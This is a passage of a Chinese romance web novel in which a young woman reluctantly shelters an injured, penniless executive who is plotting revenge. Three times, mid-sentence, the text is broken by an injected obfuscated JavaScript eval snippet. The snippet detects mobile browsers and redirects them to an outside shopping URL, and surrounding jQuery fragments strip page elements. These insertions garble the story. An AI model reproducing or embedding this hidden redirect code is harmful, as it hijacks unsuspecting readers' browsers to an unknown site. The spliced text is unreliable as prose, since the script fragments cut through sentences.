《欢喜冤家共聚头》 1. 狗血相遇 夜幕沉沉垂落,今夜一轮明月隐匿天际。 人行道上,穿鹅黄色短袖T恤的少女脚步轻快地蹦跳前行,马尾随着动作轻轻晃动,藏不住满身雀跃。 她目光一瞥,看见了路边摆着水果摊的老人,立刻停下脚步。 “阿婆,这么晚还在摆摊卖水果吗?” 老妇人闻声缓缓抬头,浑浊的眼眸费力眨了几下,隔了许久才看清站在面前的人。 少女脸颊带着恰到好处的婴儿肥,圆圆的杏眼澄澈透亮,一笑便漾开一对浅浅梨涡,鲜活又俏皮。 见老人久久出神,刘瞳轻声唤道:“阿婆?” “哎!”老妇人骤然回神,脸上铺开温和慈祥的笑意,连忙点头应声。 刘瞳弯起眉眼回以笑容,视线落在摊上光泽暗淡的苹果上,脑海莫名闪过一幕幻象:精致果盘之中,孤零零静卧着一颗苹果。 她心头微动,蹲下身,纤白的手指点向苹果。 “阿婆,这些苹果怎么卖?” “小姑娘,这些果子摆了一整天,晒得不大新鲜了。你要是想要,十块钱全部拿走。”老妇人轻轻叹了口气。 “您从早上一直守到现在?”刘瞳微微惊讶。 老人缓缓点头。 刘瞳眉头轻轻蹙起,语气带着担忧:“天气这么闷热,很容易中暑的,旁人早就陆续收摊了,您也早些回去吧,夜里不安全。” “没事哟,水果当天卖掉才好,放久了就没人愿意买。我老婆子孤身一人,早回晚回都一样。” “话不能这么说,身体最重要。这些苹果我全都买下,您赶快收摊回家!”刘瞳连忙催促。 “好好好,十块都给你装起来。”老妇人眉眼舒展,拿起塑料袋伸手捡拾苹果。年迈使得动作略显笨拙,刘瞳望着这一幕,鼻尖微微发酸,忽然想起了自己过世的奶奶。 “小姑娘,都装好啦。”老人提起袋子递过来。 “谢谢您。”刘瞳伸手接过,从粉色猫头双肩包里掏出二十元递过去。 “不用找啦,这些果子值得这个价钱,您早点回家。” 老妇人伸手在褪色的布包里摸索零钱,刘瞳急忙开口阻拦。 “这怎么能行。” “没关系的!”刘瞳俏皮吐了吐舌头,脸颊梨涡愈发清晰,“以后我常来您这里买水果,到时候您可要给我优惠一些。” “哎,一定一定!”老妇人爽朗应下。 “小姑娘,夜里外头不安全,最近街上常有闲散流氓,你早些回家。”老人浑浊眼底盛满牵挂。 “我晓得的。今天公司举办聚会,所以耽搁到这么晚。”刘瞳明媚一笑。 “怎么没人送你?一个女孩子独行多危险。” “一同聚餐的人全都喝了酒,公司不让酒后驾车,统一安排了客房。我认床睡不惯,才打算独自回家。” “路上千万当心!”话音落下,老妇人已经收拾妥当摊位,准备骑三轮车离开。 “您也是,一路慢些!”刘瞳笑着挥手目送。 望着三轮车渐渐远去的背影,她轻轻叹了口气,心底感慨,老人家永远这般热忱善良。 同一时刻,霓虹铺满地的A市街道,黑色保时捷疾驰穿梭车流,一辆红色法拉利紧追不舍。两车在人群与道路间不断转弯,接连闯过数个路口,轮胎摩擦地面的刺耳声响此起彼伏。 保时捷车内,柳廷砚狭长的眼眸透过后视镜,牢牢锁定紧随身后的红色跑车,脸色阴沉。 正当一个路口,重型货车横向冲出。柳廷砚心下一横,牙关紧咬,油门踩至极限。车身险之又险和货车擦肩而过。 可后方法拉利来不及完全刹停,巨大惯性之下,狠狠撞上货车。 后视镜里燃起冲天火光,柳廷砚紧绷的心稍稍放松,踩着油门的力道缓缓减弱。温热的血液顺着额角轮廓滑落,模糊视野,脑袋一阵阵眩晕。车辆不知不觉驶入陌生小区,他勉强找到空位停稳。 推开车门的瞬间,强烈的眩晕席卷而来,身子一晃险些栽倒。 他抬手抹去遮挡视线的血迹,朦胧视线中,看见不远处那个穿黄T恤、七分牛仔裤的少女。挣扎着迈开步伐,踉跄朝她走去。 刘瞳耳机里循环播放着轻快的歌曲,脚步蹦跳,丝毫没有察觉身后受伤的男人,一路轻快上楼。 掏出钥匙打开家门,正要反手关门,一股力量猛地抵住门板,一只手臂骤然扣住她的腰,掌心捂住她的嘴唇。 突如其来的禁锢吓得刘瞳浑身僵硬,惊恐抬眼看向身前男人。 他衣衫凌乱,额头淌着鲜血,脸上遍布磕碰淤伤,狼狈不堪。 “别害怕,我不会伤害你,只求你帮我一个忙。”柳廷砚俯身在她耳边低语,嗓音沙哑低沉,震颤传入刘瞳心底,让她控制不住一颤。 刘瞳双眼瞪得浑圆,恐惧几乎要冲破眼底。 “我松开手,但是你不要叫喊。”柳廷砚艰难喘息。 刘瞳死死盯着他,许久才缓慢点头。 柳岩廷见状,缓缓挪开捂住她嘴的手掌。 “救——” 呼喊刚冲出喉咙,手掌再度捂了上来。柳廷砚沉下眼眸,目光沉沉锁住她。 “我警告过你,不要出声,我没想害你。” “听清楚,我叫柳廷砚,遭到他人追杀,只想在你家中借宿一晚,天亮立刻离开。” 刘瞳眼中震惊更甚,不停发出呜呜的声响。 “我会松手让你说话,前提是不许呼救。”柳廷砚看着她激动的模样,无奈轻叹。 刘瞳飞快点头。 柳廷砚谨慎观望片刻,慢慢松开手掌。 “站在原地别动!”刘瞳连忙后退数步,伸手指着他。见他没有轻举妄动,才快步走进客厅,搬起一把单人椅子举在头顶,警惕守在玄关。 “你不用这么戒备,我不是坏人。”柳廷砚主动向后退了一步,抬手示意自己没有恶意。 “坏人永远不会主动承认自己是坏人!” “你先听我解释。我遭人暗算追杀,你也看见了,我身受重伤无力逃亡,只想暂住一夜。”他语气带上一丝不易察觉的恳求。 “柳廷砚?”刘瞳怔了怔,“是爱森集团总经理,顶尖彩妆师那个柳廷砚?” 他单手撑住鞋架,疲惫点头。 刘瞳转身冲进卧室,片刻后折返,将一面镜子递到他面前:“你自己看看模样。” 柳廷砚疑惑接过镜子,视线落上去的刹那,心头五味杂陈。青紫淤伤爬满脸庞,血迹遍布,与往日模样判若两人。 趁着他失神,刘瞳小心翼翼抽回镜子。 “你瞧瞧现在这副样子,还好意思自称柳廷砚?”她拿着镜子在他眼前晃了晃。 “我只是被人暗算,才变成这副模样。”抿紧薄唇。 刘瞳撇撇嘴,再度转身跑回卧室。堆满书本的书桌前,她翻找许久,推开层层纸张,抽出压在最下方的时尚杂志,快步回到玄关,将封面举到他眼前。 “你确定,你是杂志上这个人?” 封面上的男人容貌俊逸夺目,正是风光无限的柳廷砚。 柳廷砚扫过封面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847919|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,眉梢微挑,心底竟莫名生出一丝浅淡的自得。 刘瞳目光反复在杂志封面与眼前狼狈的男人之间来回比对,怎么看都无法重合。 “你就别吹牛了!长成这样还敢冒充柳廷砚,当我分辨不出吗?赶紧出去,再不离开我马上报警!”刘瞳说着,伸手摸向包里的手机。 “我真的是。”柳廷砚急忙上前一步。 “别过来!”刘瞳厉声制止。 “我仅仅只求借宿一夜而已。”柳廷砚满是无奈。 “单凭你的长相,我就不信你是好人,不是劫匪,便是做了什么见不得光的勾当!”刘瞳瞪着他。 “难道看人只凭一张脸吗?”柳廷砚扶额,只觉得无力。 “现在谁不看外貌?他一看便是温润好人,和你完全不一样!”刘瞳抬手指向杂志封面。 柳廷砚被她这番言论逗得失笑,轻轻摇头。 “你摇头是什么意思?立刻出去!” “一晚都不行吗?”柳廷砚语调低沉,染上几分落寞。 刘瞳用力摇头,侧身打开防盗门,直接伸手将他拽出门外,“砰”一声无情关上大门。 柳廷砚愣神片刻,已然站在楼道之中。他望向漆黑的窗外,抬手触碰额头,掌心沾满温热鲜血。 “开门!”他皱眉持续叩门。 屋内的刘瞳充耳不闻,一头栽倒在床上,气鼓鼓嘟囔:“莫名其妙的人,偏偏被我撞上,往后出门一定要看看黄历。” 敲门声持续许久,屋内始终毫无动静。柳廷砚重重喘息,视线一阵清晰一阵模糊,背靠房门缓缓闭上双眼。 楼道里传来脚步声,他立刻警觉起身,望向楼梯方向。 上楼的是住在这一层的王大妈。柳廷砚视线一转,心头生出计策。 王大妈走到刘瞳家门口,看见高大男子抵着房门,低声喃喃。 “宝贝,我知道错了,再也不惹你生气,开门好不好?往后家务全都由我承担,别再和我置气,我会心疼。” 王大妈看不清他完整面容,却能看见侧脸大片淤伤,额头还渗着血。 “小伙子,你没事吧?” “没、没事。”柳廷砚目光躲闪,继续敲门柔声哄劝,刻意营造情侣吵架的模样。 王大妈心中已然认定内情,抬手重重敲起房门。 床上烦闷不已的刘瞳听见敲门声,猛地坐起身。 “这家伙居然还没走?”她一边嘀咕一边穿鞋走出卧室。 房门拉开,刘瞳张口便吼:“你能不能别继续纠缠——” 话音戛然而止,柳廷砚顺势上前,一把将她拥入怀中。 “王、王大妈?”刘瞳当场怔住,脑子一片空白。 “小瞳,不是大妈多说你,这么老实的小伙子,你夜里把人关在门外,还把人伤成这样,实在不应该。”王大妈面露失望。 “不是的!王大妈,事情不是您想的那样!”刘瞳慌忙解释。 “宝贝,我真的知道错了,你原谅我好不好,往后全都听你的。”柳廷砚抢先开口,声音委屈,打断她所有辩解。 “谁是你的宝贝!”刘瞳气急,使劲想要推开他,奈何对方力道极大,根本挣脱不开。 “小瞳啊,如今踏实的年轻人很难得,可要好好珍惜。”王大妈语重心长说完,转身离开,顺手关上了楼道大门。 “王大妈!您别走,听我解释啊!” 呼喊没能拦下老人。刘瞳怒火上涌,用尽全身力气狠狠一推。 柳廷砚本就身受重伤,重心不稳,直直摔倒在地。 2. 暴跳如雷 “你这人讲不讲道理?分明就是耍无赖!” 刘瞳气得腮帮子鼓鼓的,瞪着眼前的男人,满眼抓狂。 他却只是微微抬眼,薄唇轻勾,一脸无辜地摊了摊手。 “滚出去!立刻!马上!”刘瞳伸手指着门口,怒气直冲头顶。 柳廷砚挑眉,眼底带着几分戏谑的漫不经心:“你确定?不怕方才那一幕,再来一次?” 一句话瞬间噎得刘瞳语塞。 她气得舌尖发麻,半晌才咬牙妥协,脸都皱成了一团:“行!一晚就一晚!我警告你,敢动歪心思,我直接报警,绝不客气!” “放心。”柳廷淡砚淡扫过她一眼,语气随意得过分,“对你,我没兴趣。” 这话瞬间点燃了刘瞳的炸毛开关,她当即叉腰瞪圆眼睛:“你什么意思?!” “字面意思。” “哼!”刘瞳狠狠扭头,满脸鄙夷,“我再差也比你现在好看!就你这狼狈样子,谁信你是那个风光无限的柳岩廷?吹牛也不打草稿!” 柳廷砚懒得跟她争辩,撑着身子缓缓起身:“借你卫生间一用。” “哎等等!你说借就借?”刘瞳立刻张开手臂堵在卫生间门口,严防死守。 他垂眸,自上而下扫过自己满身狼狈的衣料,最后视线落回她紧绷的小脸:“你是打算,让我一身血污待在你房间?” 刘瞳顺着他的目光一看,沉默两秒,不情不愿地挪开身子:“行行行,去吧去吧。” 他刚抬步迈入两步,又蓦然回头:“我没有换洗衣物。” “那就将就穿。”刘瞳摆手敷衍。 柳廷砚闻言,干脆转身就要往外走。 “别别别!我服了你了。”刘瞳怕他真把自己家里弄脏,连忙伸手拽住他的手臂,认命般扛起床上的包。 她心思缜密,怕夜里不安全,更怕这人趁她洗澡乱翻东西。 几步走到卧室门口,她迅速脱鞋进屋,反手反锁房门,拔下钥匙塞进包里,动作干脆利落。 再出来时,她还不忘狠狠瞪了柳岩廷一眼,满眼戒备。 柳廷砚斜倚在卫生间门框,静静看着她这一连串防备动作,眼底情绪清淡,却藏着一丝极淡的笑意。 待玄关只剩自己一人,他才缓步进了卫生间。 镜面映出一张狼狈不堪的脸,额角伤口狰狞,青紫淤伤遍布轮廓分明的侧脸。 指尖微微颤抖抚上伤口,往日清冷矜贵的模样荡然无存。 他的脸,毁了。 滔天怒火骤然翻涌在心间,戾气骤起,他握紧拳头狠狠砸在洗手池边缘。 尖锐的痛感瞬间拉扯开额间伤口。 嘶—— 倒抽一口冷气,他敛下眼底阴翳,简单按压处理好伤口,褪去满身沾染尘土与血迹的衣衫。 花洒温水倾泻而下,顺着乌黑发丝滑落肌理。 常年健身的躯体线条利落流畅,古铜色肌肤肌理分明,没有一丝多余赘肉,脊背几道浅浅旧疤,衬得整个人冷冽又野性。 狭长凤眸浸在水雾里,沉得像不见底的深海,寒意刺骨。 零碎画面不受控制地闯进脑海,一幕幕清晰刺骨。 环山高速路上,刺耳的撞击声轰然炸开。 路面拖出长长的波浪刹车痕迹,护栏碎裂弯折。 山下火光滔天,浓烟滚滚,赤红烈焰染透半边天色。 他僵立在不远处,满身灰土,额间鲜血淋漓,怔怔望着那片吞噬一切的火海。 “爸!妈!” 胸腔骤然炸裂剧痛,撕心裂肺的长啸哽在喉咙,悲痛汹涌,几乎将他整个人碾碎。 画面陡然一转,灯红酒绿的宴会场景取而代之。 精致妆容的女人挽着酒杯,身姿窈窕缠上他的身侧。 “廷砚,今天我生日,陪我喝一杯好不好?”高婉然坐在他腿上,指尖勾着他的脖颈,语气娇软。 见他沉默不语,她红唇微嘟,缓缓凑近,似要吻上他薄唇。 柳廷砚眸色微沉,抬手利落夺过她手中红酒,仰头一饮而尽。 高婉然眼底飞快掠过一抹算计,唇角勾起隐晦笑意,轻抿杯中酒液。 他起身欲走,不过两步,天旋地转的眩晕猛地席卷四肢百骸。 视线迅速模糊,他难以置信地回头看向依旧从容举杯摇晃的女人。 意识彻底沦陷前,耳畔只余下一声低沉阴冷的轻笑。 “咚咚——” 急促的敲门声骤然拉回他的神智。 门外传来少女清亮的嗓音:“喂,你不会洗睡着了吧?衣服我挂门把上了!” 话音落,脚步声渐行渐远。 他收敛眼底所有阴郁戾气,起身换好衣服走出卫生间。 客厅沙发上,少年身形清挺,只是身上尺寸完全不合的居家短袖显得格外滑稽宽大,衬得肩线愈发冷峭利落。 额角贴着几片小小的创可贴,冲淡了几分凌厉,多了几分狼狈乖巧。 刘瞳从卧室出来,抬眼瞥见这一幕,没忍住直接笑倒在沙发上,一手撑着沙发,一手疯狂拍打着坐垫,半点形象全无。 柳廷砚抬眸,淡淡瞥她一眼,眼神像在看一个没长大的傻子。 “你那什么眼神啊!”刘瞳笑得眉眼弯弯,眼泪都快出来了,“我跟你说,你可太幸运了!这是我买的衣服,我爸我弟都没穿过,你是第一个!偷着乐吧你!” 她一边笑,一边不怕死地抬手拍了拍他的肩膀:“真的,太适合你了,滑稽得刚刚好!” 柳廷砚沉默不语,脸色淡淡泛青。 “不行不行,笑得我肚子痛!”刘瞳蜷在沙发上,笑得直喘气。 良久,柳廷砚薄唇轻启,声线清冷:“笑够了?” 清冷嗓音入耳,刘瞳瞬间一僵,立马坐直身子,乖乖点头:“够、够了!” 下一秒,男人淡淡吐出两个字:“我饿了。” 刘瞳立马扭头,双手抱胸傲娇撇嘴:“饿了找我干嘛?跟我没关系。” “我被人追杀,一天未进食,还流了不少血。”他语气平淡,却带着一丝不容拒绝的无赖,“你若是想明天一早起来收尸,可以不管。” “你这人怎么这么无赖啊!”刘瞳被他拿捏得死死的,气得跳脚。 柳廷砚微微歪头,眼底带了点狡黠:“贱则无敌,不懂?” “我懂你个大头鬼!” 刘瞳彻底被他气没脾气,跺了跺脚,认命般转身冲进厨房。 三十分钟后。 一碗热气腾腾的鸡蛋面被她重重放在茶几上。 “喏,吃吧。我去洗澡,吃完自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847920|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 洗碗。” 说完她转身就进了卫生间,压根没看见身后男人微微蹙起的眉头。 柳廷砚垂眸看着那碗卖相普通、油盐随意的家常面,静静盯了足足一分钟。 他拿起筷子挑了一根,浅尝一口,味道寡淡得难以入口。 素来养尊处优、吃食精致挑剔的他,下意识放下筷子,再无食欲。 等刘瞳擦着湿发出来,一眼看见原封不动的面条,瞬间火气又上来了。 “你不是饿了吗?怎么不吃!” “难吃。”柳廷砚头也没抬,直言不讳,嫌弃直白。 “有得吃就不错了,还敢挑三拣四,大少爷脾气能不能收收?不吃拉倒!” 刘瞳气呼呼上前就要端走。 “等等。” 柳廷砚伸手拦住她,不等她反应,直接抢过瓷碗,低头默默吃了起来。 面已经彻底冷透,坨成一团,口感极差。 可他却一言不发,慢条斯理全数咽下。 刘瞳站在一旁看着,忍不住小声嘀咕:“活该,热的时候不吃,冷了遭罪纯属自找。” 三两口吃完面,他抽纸擦净唇角,抬眸看向还在擦头发的少女:“洗碗。” “知道了知道了,自己的碗自己洗!”刘瞳白他一眼。 柳廷砚乖乖端着碗筷走进厨房。 刘瞳坐在客厅,耳朵却一直留意着厨房动静。 许久,耳边只有哗哗不停的流水声。 她疑惑起身跑进厨房,一眼就看见离谱画面—— 男人就着流水徒手洗碗,水龙头大开,水流哗哗浪费一地,碗壁上大块油渍依旧牢牢粘在上面,半点没洗干净。 刘瞳当场心梗:“你洗了半天,油渍还在呢!你到底会不会洗碗?不知道用洗洁精?” 柳廷砚坦然自若:“没洗过。” 简简单单三个字,说得风轻云淡。 他伸手就要去按洗洁精泵头,一副从零摸索的模样。 “停停停!你别乱按!”刘瞳连忙抢过洗洁精,心疼得不行,“这东西不用钱啊?你一次性按这么多,纯属浪费!” “我说了,不会。”柳廷砚神色坦然。 刘瞳被他气到无力吐槽,重重放下瓶子,瞪他一眼转身出厨房,瘫在沙发上生闷气。 等柳廷砚收拾好出来,抽了厚厚一沓纸巾擦手上水珠。 刘瞳又是一眼暴击,彻底无语:“大哥!纸巾不用钱?旁边有擦手布看不见啊!” “脏。”柳岩廷淡淡嫌弃。 “你这习惯也太奢靡了吧!”刘瞳抬手扶额,彻底生无可恋。 眼不见心不烦,她干脆起身回房。 没片刻,卧室门再次被拉开。 刘瞳探出脑袋,手里捏着钥匙,一双杏眼写满严肃警告:“今晚你睡沙发,安分一点,别胡思乱想,敢乱来我立刻报警。” 说完她正要关门,又不放心地掀开一条小缝,恶声补了一句: “还有!明天天亮,自觉搬走,赶紧滚!” 房门“咔哒”一声合上。 客厅瞬间安静下来。 柳廷砚靠着沙发,缓缓拧了拧眉心,仰头长叹。 眼底那点方才的轻戏谑尽数褪去,缓缓覆上一层沉沉的阴郁。 今夜,注定无眠。 3. 顶级大佬穷的只剩一块钱 天光破晓,细碎晨光穿透窗帘缝隙,落在柔软被褥上。 刘瞳睫羽轻颤,缓缓掀开惺忪睡眼。 刺眼的日光直直扑落在眼尾睫毛上,她不满地咕哝一声,懒懒抬手挡在眼前,软糯的小脾气写满整张脸。 下一瞬,睡意骤然清零。 她猛地坐起身,心跳突突直跳。 糟了!昨晚那个无赖大佬!跑了没有? 刘瞳连拖鞋都来不及穿,赤着小脚轻手轻脚挪到卧室门边,悄悄拉开一条细缝。 黑溜溜的眼珠快速扫过空旷客厅、安静厨房、无人的玄关。 整套房干干净净,空空荡荡。 走了! 刘瞳瞬间眉眼舒展,心头大石彻底落地,好心情瞬间爆棚。 她蹦蹦跳跳拉开落地窗帘,清晨微风裹挟着清新空气涌入房间。 闭眼深吸一口气,少女眉眼弯弯,心情好得快要飘起来。 洗漱、护肤、收拾,动作轻快利落。 二十分钟后,她刚回到卧室,床头手机突然疯狂亮起。 屏幕上的时间狠狠刺痛双眼。 刘瞳瞳孔地震:“完了完了!迟到了!彻底迟到了!” 她手忙脚乱把手机塞进包里,胡乱抓过桌上工作文件,拎包推门狂奔而出,半点不敢耽搁。 而另一边。 柳廷砚昨夜彻夜未眠。 旧梦缠身、恨意翻涌,满身疲惫无处安放。天刚蒙蒙亮,他便起身悄然离开出租屋。 人民银行门口,清晨冷风凛冽。 男人身姿挺拔伫立,脸色沉郁骇人,骨节分明的手指死死攥着几张质感矜贵的银行卡,指腹泛白,力道重得近乎捏碎卡片。 一夜之间,名下所有资产、账户尽数被封。 精心布置的一切,尽数毁于暗算。 眼底翻涌着刺骨冷戾,他静默伫立良久,最终还是折返了那间小小的出租屋。 修长手指悬在门板半空,几番犹豫、几番沉吟。 指尖落下,轻叩门板。 一声、两声、三声…… 屋内死寂一片,无人应答。 看来,小丫头出门上班了。 柳廷砚收回手,淡淡垂眸,干脆侧身坐在冰冷的阶梯上,安静等候。 这一等,便是整整十二个小时。 傍晚七点,暮色沉沉。 小区楼下,私家车缓缓停稳。 刘瞳笑着从闺蜜宋琳琳的车里跳下来,眉眼明媚鲜活。 “谢谢你琳琳!多亏你帮我核对方案,不然我今天铁定加班!” 宋琳琳摆摆手,笑得爽朗:“咱俩这关系客气什么!你本身实力就够能打。” “下次我请你吃大餐!我先上楼啦!” “去吧去吧!路上小心!” 车子扬尘离去,刘瞳哼着轻快小曲,脚步轻快地往楼道走。 可刚踏上自家楼层,余光扫到阶梯上的人影时—— 她浑身一僵,脚步骤停! “啊啊啊!你、你怎么还在这儿?!” 刘瞳手指颤抖着指向阶梯上的男人,一双杏眼写满惊恐与难以置信。 柳廷砚缓缓起身,高大身影笼罩下来,带着极强的压迫感,步步朝她逼近。 刘瞳吓得连连后退,后背最终抵住冰冷墙壁,退无可退。 男人单手轻撑墙面,将她牢牢圈在方寸之间,标准的近距离壁咚。 温热呼吸轻轻扫过她的发顶,低沉嗓音淡淡响起: “借宿。” 简洁两个字,无赖又理直气壮。 刘瞳瞬间炸毛,双手死死抱胸,又气又无语:“你不是说好只住一晚吗?!柳岩廷你出尔反尔耍无赖!” “意外。”柳廷砚垂眸看她,神色淡然。 “意外什么?!”刘瞳气鼓鼓瞪他,“你不是顶级总裁、身家千万吗?还用得着赖在我家借宿?随便住五星级酒店不好吗?” 他眼底掠过一抹隐晦戾气,语气平淡无波:“卡里没钱,住不了酒店。” “你没钱关我什么事!你去找别人啊!” “太麻烦。”柳廷砚轻蹙眉心,语气带着几分不耐,“不想再重演昨晚被人算计的麻烦。” “不行!绝对不行!”刘瞳仰头,态度坚决,半点不让。 男人深邃凤眸一瞬不瞬锁着她的小脸,目光沉沉,看得人心里发慌。 刘瞳被他盯得浑身不自在,硬着头皮绕开他,掏出钥匙准备开门。 手腕刚动,身前阴影再次笼罩。 柳廷砚大步上前,再度拦住她的去路。 “你讲点道理!说好一晚就是一晚!”刘瞳气得腮帮子鼓鼓,“做人不能这么耍赖!” 柳廷砚薄唇轻启,只重复三个字:“我没钱。” 刘瞳被他磨得没脾气,咬牙半晌:“行!我带你去验证!我倒要看看,顶级大佬到底有多穷!” 说完,她转身径直下楼。 柳廷砚看着她气呼呼的背影,无奈轻叹,乖乖抬步跟上。 暮色中的人民银行格外安静。 刘瞳停下脚步,转头朝他伸出手掌:“卡拿来。” 柳廷砚极为顺从,默默掏出一沓质感高级的银行卡。 刘瞳一眼扫过,瞬间瞳孔放光,两眼冒星。 金卡、黑卡、专属定制卡…… 这些只在财经杂志、电视新闻里见过的顶级卡片,此刻整整齐齐躺在她掌心。 她指尖微微颤抖,又羡慕又嫉妒,转头狠狠瞪了眼一脸云淡风轻的男人。 这人到底经历了什么?手握顶级黑卡,现在居然落魄到无家可归? “口水擦擦。”他淡淡瞥她,语气带着一丝戏谑。 刘瞳下意识抬手擦嘴角,空空如也。 瞬间反应过来自己被耍了! 她恼羞成怒瞪他:“少贫嘴!密码!” 柳廷砚伸手抽回卡片:“走开。” “你!”刘瞳气结,对上他冷厉深邃的凤眸,瞬间秒怂,默默退到一旁。 男人修长干净的手指落在取款机屏幕上,快速输入密码,动作利落矜贵。 刘瞳好奇心爆棚,悄悄踮起脚尖,探头探脑想要偷看。 柳廷砚似有察觉,微微侧头扫来一眼。 刘瞳立刻假装看风景,眼神飘忽,假装无事发生。 片刻后,男人淡淡出声:“好了。” 刘瞳立马凑上前,看清屏幕的瞬间,整个人当场石化。 【您的账户已被冻结】 “不可能!你是不是故意输错密码耍我?”她瞪着屏幕气急败坏。 “你试。”柳廷砚挑眉,侧身让出位置。 刘瞳半信半疑上前,反复输入,换来的只有一次次密码错误。 她不死心,换卡、重试、再换卡。 一张张顶级卡片,换来的全是冰冷的【账户冻结】提示。 刘瞳心态逐渐崩溃。 直到最后一张卡。 屏幕跳出的字样,终于不再是冻结提醒。 可那串数字,直接让她当场自闭。 【账户余额:1.0元】 刘瞳盯着孤零零的一块钱余额,欲哭无泪,心态彻底崩盘。 她转头看向一脸淡定的男人,声音带着浓浓的委屈:“你、你告诉我,我是不是看错了?你念一遍余额!” 柳廷砚抬眸,伸出一根修长手指。 “千万?”她抱最后一丝希望。 男人摇头。 “百万?” 继续摇头。 “一万?”声音带上哭腔。 依旧摇头。 “一千?一百?” 柳廷砚淡淡垂眸,语气平静无波:“都不是。” 刘瞳彻底破防:“机器坏了!肯定是机器故障!换一台!” 她火速抽出卡片,换到另一台取款机重试。 结果依旧分毫未变。 刺眼的【余额1.0元】像是嘲讽,狠狠砸在她心上。 刘瞳瞬间泄了气,顺着墙壁缓缓蹲下,整个人蔫巴巴的,彻底自闭摆烂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847921|211769||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 折腾半晌,她默默取出那唯一的一块钱,心如死灰。 回到出租屋。 柳廷砚闲适地靠在沙发上,长腿微翘,姿态慵懒又矜贵。 刘瞳“啪”的一声,将那孤零零的一块钱重重拍在茶几上。 柳廷砚淡淡瞥了一眼,眼底掠过一丝浅淡笑意。 刘瞳气鼓鼓坐在他对面,眼神来回切换,一会瞪着一块钱,一会瞪着眼前落难大佬,越想越气。 几秒后,她转身冲进卧室。 再出来时,手里多了一张手写白纸和一支笔。 “啪、啪!” 纸张和笔接连落在桌面,声响清脆。 刘瞳双手叉腰,小脸绷得紧紧的,眼神写满严肃与不妥协。 柳廷砚挑眉低头,看向纸上工整的两个大字——【合同】。 他垂眸逐字阅览。 【第一条:借宿一月,租金五千元整。】 【第二条:乙方不得靠近甲方卧室半步,违者立刻赶出住所。】 看完寥寥两条霸王条款,柳廷砚轻嗤一声,抬手直接将纸丢在桌上。 “你干嘛!”刘瞳瞬间炸毛,火速捡起纸张,怒气冲冲瞪他,“是你死皮赖脸要住我家!我没收你天价房租已经仁至义尽!条件你必须答应!” “条款不公平。”柳廷砚抱胸靠在沙发,姿态散漫。 “哪里不公平了?”刘瞳苦口婆心掰扯,“我房租一个月六千,跟你平摊三千!还有三餐伙食、水电耗材!你抽纸都五六张用,奢靡成这样,五千真的很便宜了!” “不同意。”柳廷砚态度坚决。 刘瞳欲哭无泪:“为什么啊?!” “你不是房东。”男人微微俯身,视线逼近她,气息微沉,“你说房租平摊,那我们是合租室友,我也算半个房东。” 刘瞳被他绕得一愣一愣的:“那、那改一改总行了吧?!” “依旧不行。”他淡淡扫过合同,又扫过她气鼓鼓的小脸,“我不是保姆,家务不能全我做。” “谁让你全做了!”刘瞳立刻反驳,“我们轮流做,一人一天!很公平!” 沉默两秒,勉为其难颔首:“勉强同意。” 他拿起笔,在纸上潇洒落下签名,字迹凌厉好看。 就在落笔瞬间—— “等等!” 刘瞳突然大喝一声。 柳廷砚笔尖一顿,差点脱手。 他一脸茫然看向突然发难的小姑娘。 只见刘瞳转身冲进厨房,拿出一根细细银针。 “伸手!”她语气强硬,带着不容拒绝的命令感。 柳廷砚蹙眉,不明所以地抬手。 下一秒,刘瞳一把攥住他修长的大手,动作利落干脆。 “你现在落魄没证明,谁知道你以后会不会赖账跑路?”她扬起下巴,得意洋洋,“我留个血印指纹!以后你敢耍赖,我直接拿合同找你!” 话音未落,针尖轻轻扎破指腹。 一滴鲜红的血珠缓缓渗出。 刘瞳抓着他的大拇指,稳稳按在签名末尾。 一枚鲜红指纹清晰落下,格外醒目。 “搞定!” 她捏着合同晃了晃,满脸得意,又严肃重申:“最后一条!不准靠近我卧室半步!违者立刻扫地出门!” 柳廷砚垂眸看着指尖细小针孔,又看向眼前张牙舞爪的小姑娘,眼底阴郁层层翻涌,隐隐生出几分磨人的戾气。 他凉凉抬眼,淡淡开口:“放心。” “我还没饥不择食,连小猪都不放过。” “你骂谁是猪?!” 刘瞳瞬间炸毛,气得跳脚,“你才是猪!你全家都是猪!” 她气呼呼转身冲进卧室,狠狠甩上房门。 全然没看见,房门合上的刹那,沙发上的男人敛去所有戏谑。 凤眸沉沉低垂,眼底翻涌着化不开的阴翳与冷恨,漆黑一片,深不见底。 蛰伏、隐忍、等待。 他的复仇之路,才刚刚开始。 4. 孤男寡女 